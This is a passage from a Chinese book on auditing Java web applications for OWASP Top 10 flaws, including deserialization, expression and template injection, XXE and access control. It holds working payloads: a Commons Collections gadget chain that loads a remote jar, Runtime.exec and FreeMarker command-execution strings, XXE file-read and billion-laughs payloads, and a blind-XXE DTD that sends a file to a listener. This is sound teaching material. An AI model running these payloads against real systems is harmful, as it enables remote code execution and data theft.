版本有一段利用反射来完成特定功能的代 码。"},
    {"text": "public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 122 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this. iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException(\"InvokerTransformer: The method '\" + this.iMethodName + \"' on '\" + input.getClass() + \"' does not exist\"); } catch (IllegalAccessException var6) { throw new FunctorException(\"InvokerTransformer: The method '\" + this.iMethodName + \"' on '\" + input.getClass() + \"' cannot be accessed\"); } catch (InvocationTargetException var7) { throw new FunctorException(\"InvokerTransformer: The method '\" + this.iMethodName + \"' on '\" + input.getClass() + \"' threw an exception\", var7); } } } 与命令注入相比，代码注入更具有灵活性。"},
    {"text": "import Java.io.BufferedReader; import Java.io.InputStreamReader; public class Evil{ public static void Exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); 5.1 注入 123 图 5-7 Apache Commons collections 反序列化漏洞 PoC 执行结果 BufferedReader br = new BufferedReader(new InputStreamReader(proc.g etInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append(\"\\n\"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import Javax.management.BadAttributeValueExpException; import Java.io.*; import Java.lang.reflect.Field; import Java.net.MalformedURLException; import Java.util.HashMap; import Java.util.Map; public class TestError { 124 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[0]; try { transformers = new Transformer[] { new ConstantTransformer(Java.net.URLClassLoader.class), new InvokerTransformer( \"getConstructor\", new Class[] {Class[].class}, new Object[] {new Class[]{Java.net.URL[].class} } ), new InvokerTransformer( \"newInstance\", new Class[] {Object[].class}, new Object[] { new Object[] { new Java.net.URL [] { new Java.net.URL(\"http://127.0.0.1/Evil.jar\") }}} ), new InvokerTransformer( \"loadClass\", new Class[] { String.class }, new Object[] { \"Evil\"} ), new InvokerTransformer( \"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"Exec\", new Class[]{String.class}} ), new InvokerTransformer( \"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{\"whoami\"}} ) }; } catch (MalformedURLException e) { e.printStackTrace(); } Transformer transformerChain = new ChainedTransformer(transformers) ; Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null) ; Field valfield = poc.getClass().getDeclaredField(\"val\"); valfield.setAccessible(true); 5.1 注入 125 valfield.set(poc, entry); File f = new File(\"payload.ser\"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close(); FileInputStream fis = new FileInputStream(\"payload.ser\"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close();} } 在将用户可控部分数据注入代码达到动态执行某些功能的目的之前，需进行严 格的检测和过滤，避免用户注入恶意代码，造成系统的损坏和权限的丢失。"},
    {"text": "5.1.5 表达式注入 表达式注入这一概念最早出现在 2012 年 12 月的一篇论文 Remote Code Execution with EL Injection Vulnerabilities 中，文中详细阐述了表达式注入的成因以及危害。"},
    {"text": "1．EL 表达式的基础 表达式语言（Expression Language），又称 EL 表达式，是一种在 JSP 中内置的语 言，可以作用于用户访问页面的上下文以及不同作用域的对象，取得对象属性值或 者执行简单的运算和判断操作。"},
    {"text": "● 获取数据：EL 表达式可以从 JSP 的四大作用域（page、request、session、 application）中获取数据。 ● 执行运算：利用 EL 表达式可以在 JSP 页面中执行一些基本的关系运算、逻 辑运算和算术运算，以在 JSP 页面中完成一些简单的逻辑运算。 ● 获取 Web 开发常用对象：EL 表达式内置了 11 个隐式对象，开发者可以通过 这类隐式对象获得想要的数据。 ● 调用 Java 方法：EL 表达式允许用户开发自定义 EL 函数，以在 JSP 页面中通 过 EL 表达式调用 Java 类的方法。"},
    {"text": "● page：只在一个页面保存数据［Javax.servlet.jsp.PageContext（抽象类）］。 ● request：只在一个请求中保存数据（Javax.servlet.httpServletRequest）。 ● session ： 在 一 次 会 话 中 保 存 数 据 ， 仅 供 单 个 用 户 使 用 （ Javax.servlet. http.HttpSession）。 ● application ： 在 整 个 服 务 器 中 保 存 数 据 ， 全 部 用 户 共 享 （ Javax.servlet. ServletContext）。"},
    {"text": "表 5-2 EL 内置 11 个隐式对象 隐式对象 描述 pageScope page 作用域 requestScope request 作用域 sessionScope session 作用域 applicationScope application 作用域 param Request 对象的参数，字符串 paramValues Request 对象的参数，字符串集合 header HTTP 信息头，字符串 headerValues HTTP 信息头，字符串集合 initParam 上下文初始化参数 cookie Cookie 值 pageContext 当前页面的 pageContext 2．EL 基础语法 在 JSP 中，用户可以使用${}来表示此处为 EL 表达式，例如，表达式”${ name }” 表示获取“name”变量。 当 EL 表达式未指定作用域范围时，默认在 page 作用域范 围查找，而后依次在 request、session、application 范围查找，也可以使用作用域范围 作为前缀来指定在某个作用域范围中查找。 例如，表达式“${ requestScope.name}” 表示在 request 作用域范围中获取“name”变量。"},
    {"text": "第一种格式为${对象.属性}，例如： ${param.name}表示获取 param 对象中的 name 属性。 第二种为使用“[]”符号，例如： 5.1 注入 127 ${param[name]}。 当属性名中存在特殊字符或者属性名是一个变量时，则需要使用 “[]”符号的方式获取属性，例如：${User[“Login-Flag”]}和${User[data]}。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"Java\" %> <html> <head> <title>EL 表达式实例页面</title> </head> <body> <center> <h3> 输入的 name 值为：${param.name}</h3> </center> </body> </html> URL 访问 index.jsp?name=zhhhy，在页面中可以看到程序输出了对应的 name 值， 如图 5-8 所示。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"Java\" %> <html> <head> <title>$Title$</title> </head> <body> ${Runtime.getRuntime().exec(\"calc\")} </body> </html> 代码执行结果如图 5-9 所示。"},
    {"text": "图 5-9 EL 表达式实例化 Java 的内置类 Runtime 执行命令 5．CVE-2011-2730 Spring 标签 EL 表达式漏洞 简单来说，EL 表达式是 Java 代码的简化版，用户可以通过可控的输入注入一段 EL 表达式执行代码。"},
    {"text": "历史上曾出现一个 Spring 标签 EL 表达式漏洞（CVE-2011-2730）， 漏洞成因是 Spring 的 message 标签能够解析执行 EL 表达式，而 Web 容器也会对 EL 表达式进行一次解析，两次解析使 EL 表达式注入得以利用。"},
    {"text": "该接口有两种实现，分别为 SimpleEvaluationContext 和 StandardEvaluationContext，在默认情况下使用 StandardEvaluationContext 对表达式进 行评估。 ● SimpleEvaluationContext：针对不需要 SpEL 语言语法的全部范围并且应该受 到有意限制的表达式类别，公开 SpEL 语言特性和配置选项的子集。 ● StandardEvaluationContext：公开全套 SpEL 语言功能和配置选项。"},
    {"text": "String expressionstr = \"T(Runtime).getRuntime().exec(\\\"calc\\\")\"; //一个解析器 ExpressionParser parser = new SpelExpressionParser(); EvaluationContext evaluationContext = new StandardEvaluationContext(); Expression expression = parser.parseExpression(expressionstr); System.out.println(expression.getValue(evaluationContext)); 图 5-10 利用 StandardEvaluationContext 接口弹出计算器 相比于 StandardEvaluationContext，SimpleEvaluationContext 的权限要小许多，在 使用 SimpleEvaluationContext 进行上下文评估时，无法使用 Runtime.class 执行任何 系统命令。"},
    {"text": "130 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 6．CVE-2018-1273 Spring Data Commons 远程代码执行漏洞 2018 年出现的 Spring Data Commons 的远程代码执行漏洞（CVE-2018-1273）中， 攻击者可以构造含有恶意代码的 SpEL 表达式实现远程代码执行，接管服务器权限。"},
    {"text": "图 5-11 CVE-2018-1273 漏洞补丁对比 5.1.6 模板注入 Web 应用程序中广泛使用模板引擎来进行页面的定制化呈现，用户可以通过模 板定制化展示符合自身特征的页面。"},
    {"text": "FreeMarker 模板注入 FreeMarker 模板文件如同 HTML 页面一样，是静态页面，普通用户访问该页面 时，FreeMarker 引擎进行解析并动态替换模板中的内容进行渲染，随后将渲染出的 结果发送到访问者的浏览器中。"},
    {"text": "new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的实例，查 阅源码会发现 freemarker.template.utility.Execute#exec 可以执行任意代码，因此可以通 过 new 函数实例化一个 Execute 对象并执行 exec() 方法造成任意代码被执行，如图 5-13 所示。"},
    {"text": "图 5-13 freemarker.template.utility.Execute#exec 可以执行任意代码 132 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 Payload 代码如下。 <#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc. exe\")} 通过阅读源码发现，freemarker.template.utility 包中表 5-3 所示的几个类都可以被 利用来执行恶意代码。 表 5-3 freemarker.template.utility 包中用来执行恶意代码的几个类 可利用类 payload <#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"Java.lang. ObjectConstructor ProcessBuilder\",\"calc.exe\").start()} <#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os. JythonRuntime system(\"calc.exe\")</@value> Execute <#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc.exe\")} （3）api 函数的利用。"},
    {"text": "FCMS 1.1.3 之前的版本（如 OFCMS 1.1.2 版本） 使用 Freemarker 作为模板引擎，然而开发者未对网站后台的“模板文件”功能处的 “所存储的模板数据”进行过滤，导致攻击者可以使用 FreeMarker 模板注入的方式获 取 WebShell。"},
    {"text": "该漏洞出现的文件路径为 oufu-ofcms-V1.1.2\\ofcms\\ofcms-admin\\src\\main\\Java\\com\\ ofsoft\\cms\\admin\\controller\\cms\\TemplateController.Java，通过在 TemplateController 类的 save()方法设置断点可以发现，save()方法未对存入模板的数据进行充足的过滤，攻击 者可以将可执行系统命令的恶意代码存入 Freemarker 模板。"},
    {"text": "官方针对 new 和 api 的两种利用方式发布了一些安全策略，从版本 2.3.22 开始， api_builtin_enabled 的默认值为 false，这意味着 api 内建函数在此之后不能随意使用。"},
    {"text": "● SAFER_RESOLVER：与第一个类似，但禁止解析 ObjectConstructor、Execute 和 freemarker.template.utility.JythonRuntime。 ● ALLOWS_NOTHING_RESOLVER：禁止解析任何类。"},
    {"text": "扫描二维码 学习更多注入精选文章 134 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 5.2 失效的身份认证 5.2.1 失效的身份认证漏洞简介 失效的身份认证是指错误地使用应用程序的身份认证和会话管理功能，使攻击 者能够破译密码、密钥或会话令牌，或者利用其他开发漏洞暂时或长久地冒充其他 用户的身份，导致攻击者可以执行受害者用户的任何操作。"},
    {"text": "5.2.2 WebGoat8 JWT Token 猜解实验 在进行“身份认证”方面的漏洞挖掘时，“黑白盒结合”审计的方法往往能产生 不错的效果。 读者可以通过 OWASP 的 Java Web 攻防靶场“WebGoat”的一个“JWT tokens”攻击案例来初步了解“失效的身份认证”这一漏洞类型的黑白盒审计。"},
    {"text": "在黑盒测试方面，为了便于搭建漏洞复现环境，我使用了 GitHub 页面提供的 Docker 命令： docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf 在启动容器后，即可创建用户并进行实验。"},
    {"text": "可以看到，这个关卡的主要任务是“Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes”（尝试修改 你的 token 以获得管理员权限，并重置投票）。"},
    {"text": "5.2 失效的身份认证 135 图 5-15 白盒测试的案例 在此案例中，通过抓取“重置投票”的 HTTP 请求数据包，以期在找到关键的 接口信息后进行定向的代码审计；"},
    {"text": "为了在源码中快速定位到该接口对应的方法，可以通过 IDEA 的功能“Find in Path”对接口的关键字符串“/votings”进行查找，如图 5-17 和图 5-18 所示。"},
    {"text": "图 5-16 “重置投票”的接口 136 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-17 “Find in Path 功能” 由图 5-18 可知，注解“@PostMapping(\"/JWT/voting\")”关联的是类 org.owasp. webgoat.jwt.JWTVotesEndpoint 的 方 法 “ resetVotes ”， 且 该 方 法 的 返 回 类 型 是 AttackResult。"},
    {"text": "图 5-19 resetVotes 方法的示例代码 由 图 可 知 ，“ Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse (accessToken);”这行代码通过签名密钥解析请求过来的 JWT（accessToken），获取 claims 中的 admin 参数的值。"},
    {"text": "在“Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);” 代码行中，JWT_PASSWORD 是常量（字符串“victory”的 BASE64 编码），如图 5-20 所示。 图 5-20 JWT_PASSWORD 是常量 那么变量 accessToken 从何而来呢？ 通过 resetVotes 方法的注解，可以发现该变 量储存于 Cookie 中，且 Cookie 的键名为“access_token”，如图 5-21 所示。"},
    {"text": "138 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-21 Cookie 的键名为“access_token” 图 5-22 在 login 方法中创建 Cookie 对象 在图 5-23 中，Guest 用户的 access_token 为空，并且在发送 HTTP 请求后， “lessonCompleted”的结果是“false”，且“feedback”的结果是“Not a valid JWT token, please try again”。"},
    {"text": "图 5-23 Guest 用户的 access_token 为空 5.2 失效的身份认证 139 此时，使用用户“Jerry”进行“重置投票”的操作，并使用 BurpSuite 抓取该 HTTP 请求包，如图 5-24 所示。 图 5-24 重置投票并抓取 HTTP 请求包 此时，可以发现用户 Jerry 的 access_token 不为空，但在发送 HTTP 请求后， “lessonCompleted”的结果也是“false”，而“feedback”的结果是“Only an admin user can reset the votes”，如图 5-25 所示。"},
    {"text": "图 5-25 发送 HTTP 请求包后的结果 140 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 此时，可以将 JWT 格式的 access_token 放置到网站上进行分析，如图 5-26 所示。"},
    {"text": "此时，“lessonCompleted”的结果变成“true”，而“feedback”的结果则变 成“Congratulations. You have successfully completed the assignment.”，这意味着我们 通过了 JWT Token 校验，如图 5-28 所示。"},
    {"text": "图 5-28 通过了 JWT Token 校验 通过上述分析可以发现，若研发人员在 Web 应用中对基于 JWT 的身份认证方案 设计不当，攻击者可通过猜解、爆破等方式获取 JWT Token，进而使身份认证方案防 御失效。"},
    {"text": "142 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 5.3 敏感信息泄露 5.3.1 敏感信息泄露简介 敏感信息是业务系统中对保密性要求较高的数据，通常包括系统敏感信息以及 应用敏感信息。"},
    {"text": "系统敏感信息指的是业务系统本身的基础环境信息，例如系统信息、 中间件版本、代码信息，这些数据的泄露可能为攻击者提供更多的攻击途径与方法。"},
    {"text": "应用敏感信息可被进一步划分为个人敏感信息和非个人敏感信息，个人敏感信息包 括身份证、姓名、电话号码、邮箱等，非个人敏感信息则可能是企事业单位甚至国家 层面的敏感信息。"},
    {"text": "通过查看 TurboMail 的安装路径，可以发现 TurboMail 是 Java EE 工程，通过审 计 web.xml，可以发现 url-pattern“mailmain”对应 servlet-name“mailmaini”，如图 5-29 所示。 图 5-29 url-pattern“mailmain”对应 servlet-name“mailmaini” 5.3 敏感信息泄露 143 审计 servlet-name“mailmaini”所对应的类 servlet-class，可以发现它对应类 “turbomail.web.MailMain”，如图 5-30 所示。 图 5-30 审计 servlet-class 类 为了找到类“turbomail.web.MailMain”，对该 Web 应用所依赖的 Jar 包进行搜索， 如图 5-31 所示。 图 5-31 在 Jar 包中搜索“turbomail.web.MailMain”类 从文件名的含义可以假设类“turbomail.web.MailMain”位于 Jar 包“turbomail. jar”中。 使用 JD-GUI 对 web\\webapps\\ROOT\\WEB-INF\\lib 下的“turbomail.jar”进行反编 译，可以发现“MailMain”位于该 Jar 包中（turbomail\\web\\MailMain.Java），如图 5-32 144 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 所示。 图 5-32 对“turbomail.jar”进行反编译 对 MailMain 进行审计，可以发现 MailMain 继承自 HttpServlet 类，且会接收一 个名为 type 的请求参数，如图 5-33 所示。"},
    {"text": "图 5-33 对 MailMain 进行审计 5.3 敏感信息泄露 145 当出现“type.equals(\"pm\")”时，会调用 PMAdmin 的 show 方法，如图 5-34 所示。 图 5-34 调用 PMAdmin 的 show 方法 对 PMAdmin 的 show 方法进行审计，可以发现如下代码在输出数据前并没有进 行权限验证，即任何人都可以发送请求，如图 5-35 所示。 图 5-35 对 PMAdmin 的 show 方法进行审计 通过浏览器访问地址：http://192.168.8.43:8080/mailmain?type=pm（其中 http:// 192.168.8.43:8080/是邮件系统登录页），可以发现“jake@mytest.cn”和“sophia@ mytest.cn”这两个已经登录过的用户的邮箱地址被显示出来。"},
    {"text": "146 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-36 敏感信息泄露 5.3.3 开发组件敏感信息泄露 若研发人员未做好“自定义错误页面”的工作，就容易将网站的敏感信息暴露 到前端。"},
    {"text": "这里以一个未设置“自定义错误页”的 Spring Boot 的小工程为例，在注入恶意 paylaod 后，小工程将数据库 MySQL、持久化框架 MyBatis 以及对应的数据库查询语 句暴露在前端，如图 5-37 所示。"},
    {"text": "当 开发人员配置其 XML 解析功能允许外部实体引用时，攻击者可利用这一可引发安全 问题的配置方式，实施任意文件读取、内网端口探测、命令执行、拒绝服务攻击等 方面的攻击。"},
    {"text": "“内部声明实体”的定义格式形如“<!ENTITY 实体 名称 \"实体的值\">”，而“引用外部实体”的定义格式形如“<!ENTITY 实体名称 SYSTEM \"URI/URL\">”或者“<!ENTITY 实体名称 PUBLIC \"public_ID\" \"URI\">”。"},
    {"text": "<%@ page contentType=\"text/html; charset=UTF-8\" %> <%@ page import=\"org.w3c.dom.*, Javax.xml.parsers.*\" %> <%@ page import=\"org.xml.sax.InputSource\" %> <%@ page import=\"Java.io.StringReader\" %> <% String linux_querystring = \"?data=%3C%3F%78%6D%6C%20%76%65%72%73%69%6F% 6E%3D%22%31%2E%30%22%20%65%6E%63%6F%64%69%6E%67%3D%22%49%53%4F%2D%38%38%35% 39%2D%31%22%3F%3E%3C%21%44%4F%43%54%59%50%45%20%66%6F%6F%20%5B%20%20%20%3C% 21%45%4C%45%4D%45%4E%54%20%66%6F%6F%20%41%4E%59%20%3E%20%20%3C%21%45%4E%54% 49%54%59%20%78%78%65%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%65% 74%63%2F%70%61%73%73%77%64%22%20%3E%5D%3E%3C%66%6F%6F%3E%26%78%78%65%3B%3C% 2F%66%6F%6F%3E\"; 5.4 XML 外部实体注入（XXE） 149 String windows_querystring = \"?data=%3C%3Fxml%20version%3D%221.0%22%20e ncoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%20%20%20%3C%21ELE MENT%20foo%20ANY%20%3E%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F% 2Fc%3A%2Fwindows%2Fwin.ini%22%20%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E\"; String data = request.getParameter(\"data\"); String tmp = \"\"; if (data != null) { try { DocumentBuilderFactory docFactory = DocumentBuilderFactory.newIn stance(); DocumentBuilder docBuilder = docFactory.newDocumentBuilder(); Document doc = docBuilder.parse(new InputSource(new StringReader (request.getParameter(\"data\")))); NodeList RegistrationNo = doc.getElementsByTagName(\"foo\"); tmp = RegistrationNo.item(0).getFirstChild().getNodeValue(); } catch (Exception e) { out.print(e); } } %> <html> <head> <meta charset=\"UTF-8\"/> <title>007 XXE 漏洞测试</title> </head> <body> <h1>007 - 通过 XXE 读取系统文件</h1> <p>不正常调用 - Linux (读取 /etc/passwd)</p> <p>curl '<a href=\"<%=request.getRequestURL()+linux_querystring%>\" target= \"_blank\"><%=request.getRequestURL()+linux_querystring%></a>'</p> <p>不正常调用 - Windows (读取 c:/windows/win.ini)</p> <p>curl '<a href=\"<%=request.getRequestURL()+windows_querystring%>\" target=\"_blank\"><%=request.getRequestURL()+windows_querystring%></a>'</p> <p>节点内容: <%= tmp %></p> <p>(有漏洞会看到文件内容)</p> </body> 对代码中的字符串 linux_querystring 进行 UrlDecode 解码可得到以下字符串： ?data=<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe; </foo> 我们可以在上面的 XML 中发现“file:///etc/passwd”。"},
    {"text": "try { DocumentBuilderFactory docFactory = DocumentBuilderFactory. newInstance(); DocumentBuilder docBuilder = docFactory.newDocumentBuilder(); Document doc = docBuilder.parse(new InputSource(new StringReader (request.getParameter(\"data\")))); NodeList RegistrationNo = doc.getElementsByTagName(\"foo\"); tmp = RegistrationNo.item(0).getFirstChild().getNodeValue(); } catch (Exception e) { out.print(e); } 通过分析上述代码可知，漏洞成因是该 PoC 使用了 XML 解析接口 javax. xml.parsers.DocumentBuilder，但未禁用外部实体。"},
    {"text": "<?xml version=\"1.0\"?> <!DOCTYPE lolz [ <!ENTITY lol \"lol\"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\"> <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1; &lol1;\"> <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2; &lol2;\"> <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; &lol3;\"> <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4; &lol4;\"> <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5; &lol5;\"> <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6; &lol6;\"> <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7; &lol7;\"> <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8; &lol8;\"> ]> 5.4 XML 外部实体注入（XXE） 151 <lolz>&lol9;</lolz> 当 XML 解析器加载此文档时，可以发现它包含一个根元素“lolz”，其中包含文 本“＆lol9;”。"},
    {"text": "但是，“＆lol9;” 是一个定义的实体，扩展为包含 10 个“＆lol8;”的 字符串。 每个“＆lol8;”字符串是一个定义的实体，扩展为 10 个“＆lol7;” 字符串 等。"},
    {"text": "我 将 该 XML Payload 注 入 5.4.2 节 中 的 例 程 后 ， 看 到 了 被 抛 出 的 异 常 ： “java.lang.OutOfMemoryError: GC overhead limit exceeded”，感兴趣的读者可以做尝 试、验证。"},
    {"text": "图 5-40 Blind XXE 攻击示意图 图中的红、黄、绿圆均代表 Web 应用，其中“红色”Web 应用（WebGoat）包 含 XXE 漏洞，“黄色”Web 应用（Python 的 SimpleHTTPServer）的根目录存放有恶 意 XML 文件 attack.dtd，“绿色”Web 应用（WebWolf）可以解析并展示 HTTP 请求。"},
    {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <!ENTITY % file SYSTEM \"file:////Users/mac/Code/JavaWorkspace/WebGoat-develop /webgoat-lessons/xxe/target/classes/secret.txt\"> <!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\"> %all; 注意，“secret.txt”文件是存放在靶机上的一个普通文本文件。"},
    {"text": "2）启动 Python 的 SimpleHTTPServer。 使用终端切换到 attack.dtd 文件所在的目录下，启动 Python 的 SimpleHTTPServer， 如图 5-41 所示。 图 5-41 启动 Python 的 SimpleHTTPServer 3）使用 Burp Suite 抓取评论功能的关键 HTTP 请求包。"},
    {"text": "<?xml version=\"1.0\"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://127.0.0.1:8000/attack.dtd\"> %remote; ]> <comment> 5.4 XML 外部实体注入（XXE） 153 <text>test&send;</text> </comment> 注意，&send 被定义于 http://127.0.0.1:8000/attack.dtd 中。"},
    {"text": "图 5-43 Burp Suite 的 HTTP 请求包的发送结果 154 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 通过观察 WebWolf 和 SimpleHTTPServer 的响应结果可以发现，WebWolf 接收到 了“Users/mac/Code/JavaWorkspace/WebGoat-develop/webgoat-lessons/xxe/target/classes/ secret.txt”的文件内容，而 SimpleHTTPServer 也接收到了对/attack.dtd 的 GET 请求， 如图 5-44 所示。"},
    {"text": "浏览该接口的代码，可以发现 parsexml 方法是解析 XML 的关键代码，如图 5-45 所示。 跟进 parsexml 方法可以发现，该关卡在解析 XML 时使用了类 Javax.xml.stream. XMLInputFactory 且存在不安全的配置方式，如图 5-46 所示。"},
    {"text": "5.4 XML 外部实体注入（XXE） 155 图 5-45 评论接口调用了 parseXml 方法 图 5-46 对 parseXml 方法做审计 图 5-47 查阅 OWASP XML External Entity (XXE ) Prevention Cheat Sheet 依据该建议修改“POST /WebGoat/xxe/simple”接口的代码，如图 5-48 所示。"},
    {"text": "156 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-48 进行禁用外部实体的安全配置 在修改代码后重新运行 WebGoat，对“XXE 读取系统文件”问题进行复测，可 以发现该漏洞已经被修复。"},
    {"text": "图 5-49 在对代码进行加固后，XXE 攻击失效 5.4.6 小结 本节对 Java Web 平台中的 XXE 漏洞进行了探究，首先简要介绍了 XXE 的概念， 然后介绍了读取系统文件以及 DoS、Blind XXE 等方面的攻击。"},
    {"text": "此外，有许多第三方组件曾被爆出 XXE 漏洞（例如，Spring-data-XMLBean、 JavaMelody 组件 XXE、Apache OFBiz、微信支付 SDK-XXE），建议读者朋友关注这 类安全问题，避免因为使用第三方组件而引入 XXE 漏洞。"},
    {"text": "比如一个普通的用户 A 通常 只能够对自己的一些信息进行增、删、改、查，但是由于开发者的疏忽大意，Web 应用在对信息进行增、删、改、查时未判断所操作的信息是否属于对应的用户。"},
    {"text": "下面通过一个在某在线教育网站的“普通用户篡改其他普通用户的密码”的案 例说明“横向越权”的代码审计问题，并通过“黑盒+白盒”的方式进行探究。"},
    {"text": "158 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-50 横向越权的受害者 图 5-51 横向越权的攻击者 接下来，我们模拟以攻击者的视角开始横向越权攻击。"},
    {"text": "POST /inxedu/uc/updateUser HTTP/1.1 Host: 127.0.0.1:8080 5.5 失效的访问控制 159 Content-Length: 124 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/inxedu/uc/initUpdateUser/0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=3F0B23B26B8C8B0F1E1E4419982B6790; inxeduweb_user_login_ =6bd685e89f9a4441a120393792485be4 Connection: close user.userId=3&&&user.userName=%E6%94%BB%E5%87%BB%E8%80%85&user.showName= %E6%94%BB%E5%87%BB%E8%80%85&user.sex=1&&user.age=24& 我们可以在该请求报文中发现参数“user.userId”是“3”，一个用户可控的参数。"},
    {"text": "接着，我们可以将参数“user.userId”的值替换为“1”，将参数“user.userName”与 “user.showName”的值替换为“hacked by attacker”，如图 5-52 所示。"},
    {"text": "图 5-52 替换参数的值 160 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 随后，如果以受害者的视角查看其基本资料，则可以发现其“姓名”和“昵称” 均被替换成“hacked by attacker”，如图 5-53 所示。"},
    {"text": "经过观察代码的结构，可以发现代码按典型的 Java 业务代码逻辑处理顺序“Controller→Service 接口→serviceImpl→DAO 接口→ daoImpl→mapper→db”进行了组织。"},
    {"text": "（1）在源码中搜索接口中的关键字符串（如接口“POST /inxedu/uc/updateUser” 中的“updateUser”）。 （2）通过了解源码的结构，探查可能的类与方法（如在源码包 com.inxedu.os. edu.controller.user 中找到关键的控制器类 UserController 中的方法 updateUserInfo）， 该关键方法的源码如下。"},
    {"text": "/** * 修改用户信息 * @param request * @param user * @return Map<String,Object> */ @RequestMapping(\"/updateUser\") @ResponseBody 5.5 失效的访问控制 161 public Map<String,Object> updateUserInfo(HttpServletRequest request, @ModelAttribute(\"user\") User user){ Map<String,Object> json = new HashMap<String,Object>(); try{ userService.updateUser(user); json = this.setJson(true, \"修改成功\", user); //缓存用户 userService.setLoginInfo(request,user.getUserId(),\"false\"); }catch (Exception e) { this.setAjaxException(json); logger.error(\"updateUserInfo()---error\",e); } return json; } 通过分析上述代码，我们可将注意力集中在“userService.updateUser(user);”代 码行，如图 5-54 所示。 图 5-54 关注“userService.updateUser(user);”代码行 我们可以在该 Controller 类中发现，userService 是接口的 UserService 实例化对象， 如图 5-55 所示。"},
    {"text": "图 5-55 userService 是接口的 UserService 的实例化对象 此时，为了找到实现接口“UserService”的类，可以在源码中搜索字符串 162 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 “implements UserService”，如图 5-56 所示。 图 5-56 搜索字符串“implements UserService” 由图 5-56 可知， “demo_inxedu_open\\src\\main\\java\\com\\inxedu\\os\\edu\\service\\impl\\ user\\UserServiceImpl.java”是该接口的实现类，如图 5-57 所示。"},
